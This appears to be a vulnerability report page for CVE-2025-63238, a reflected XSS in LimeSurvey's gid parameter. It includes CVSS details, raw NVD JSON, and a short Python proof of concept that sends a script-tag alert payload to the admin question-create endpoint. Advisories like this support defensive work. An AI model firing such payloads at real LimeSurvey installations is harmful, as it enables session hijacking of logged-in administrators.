Security Vulnerability Report
中文
CVE-2025-63238 CVSS 6.1 MEDIUM

CVE-2025-63238

Published: 2026-04-09 18:16:42
Last Modified: 2026-04-16 19:02:22

Description

A Reflected Cross-Site Scripting (XSS) affects LimeSurvey versions prior to 6.15.11+250909, due to the lack of validation of gid parameter in getInstance() function in application/models/QuestionCreate.php. This allows an attacker to craft a malicious URL and compromise the logged in user.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:limesurvey:limesurvey:*:*:*:*:*:*:*:* - VULNERABLE
LimeSurvey < 6.15.11+250909

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2025-63238 # Affected Endpoint: /index.php?r=admin/question/sa/create # Vulnerable Parameter: gid import requests target_url = "http://target-limesurvey.com/index.php" # Malicious payload to demonstrate XSS (e.g., alert box) payload = "<script>alert('CVE-2025-63238');</script>" params = { "r": "admin/question/sa/create", "gid": payload } # Send request response = requests.get(target_url, params=params) # Check if payload is reflected in response if payload in response.text: print("Vulnerability confirmed: XSS payload found in response.") else: print("Vulnerability not detected or patched.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63238", "sourceIdentifier": "[email protected]", "published": "2026-04-09T18:16:42.280", "lastModified": "2026-04-16T19:02:22.450", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Reflected Cross-Site Scripting (XSS) affects LimeSurvey versions prior to 6.15.11+250909, due to the lack of validation of gid parameter in getInstance() function in application/models/QuestionCreate.php. This allows an attacker to craft a malicious URL and compromise the logged in user."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:limesurvey:limesurvey:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.15.12", "matchCriteriaId": "CF21122C-20A4-4D3B-BDA3-6B894F457C21"}]}]}], "references": [{"url": "https://gist.github.com/masquerad3r/f913ab479e8de2ad71987ef98a088fb5", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/LimeSurvey/LimeSurvey/commit/80769a677dc82ddb1fcced4af19bd959d583208d", "source": "[email protected]", "tags": ["Patch"]}]}}